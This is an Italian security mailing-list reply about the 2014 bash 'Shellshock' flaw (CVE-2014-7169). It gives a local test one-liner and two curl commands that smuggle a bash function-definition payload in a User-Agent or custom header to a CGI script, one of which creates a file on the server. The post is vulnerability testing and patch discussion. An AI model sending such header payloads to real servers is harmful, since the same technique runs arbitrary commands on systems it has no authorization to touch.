#include <Maurizio Antonelli.h>    // created 25/09/2014 11:34
[cut]
>> ... Sto cercando di capire meglio come verificare la vulnerabilità
>> a questo genere di attacchi,
[cut]

Ooops, dimenticavo una parte rilevante della frase: come verificare da
remoto la vulnerabilità :)

> env x='() { :;}; echo vulnerabile' bash -c "echo prova"

Questo è un bun metodo per verificare in locale se la propria versione
di bash è vulnerabile. A quanto ho notato, Debian ha già rilasciato una
versione corretta di bash, invece quella disponibile su ArchLinux
comunque è vulnerabile a un altro tipo di attacco, quello riportato in
CVE-2014-7169 [1], in pratica è comunque possibile scrivere un file:

$ env X='() { (a)=>\' sh -c "echo date"; cat echo

1: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-7169

A quanto pare in alcuni casi è sufficiente passare un qualsiasi header
fatto ad-hoc per testare la vulnerabilità, ad esempio con un banale:

$ curl -i -X GET "http://www.hostvulnerabile.it/cgi-bin/test.cgi"; -A '()
{ :;}; echo "Warning: Server Vulnerable"'

oppure con un classico:

$ curl -i -X GET "http://www.hostvulnerabile.it/cgi-bin/test.cgi"; -H
'X-Custom: () { :;}; touch /tmp/vuln; echo "Warning: Server Vulnerable"'

Sto cercando di capire se ad esempio le esecuzioni di php attraverso
mod_fcgid (che si appoggia a un "wrapper" bash per eseguire php stesso)
sono vulnerabili.. ma non riesco (ancora) a venirne a capo. In ogni caso
qualsiasi cosa passi attraverso bash (anche non necessariamente
invocandola direttamente, ad esempio se è configurata come shell di
default) può esporre questo problema.

Per togliermi il dubbio, sto comunque compilando il pacchetto .deb
patchato per lenny ;)

k.
________________________________________________________
http://www.sikurezza.org - Italian Security Mailing List

Rispondere a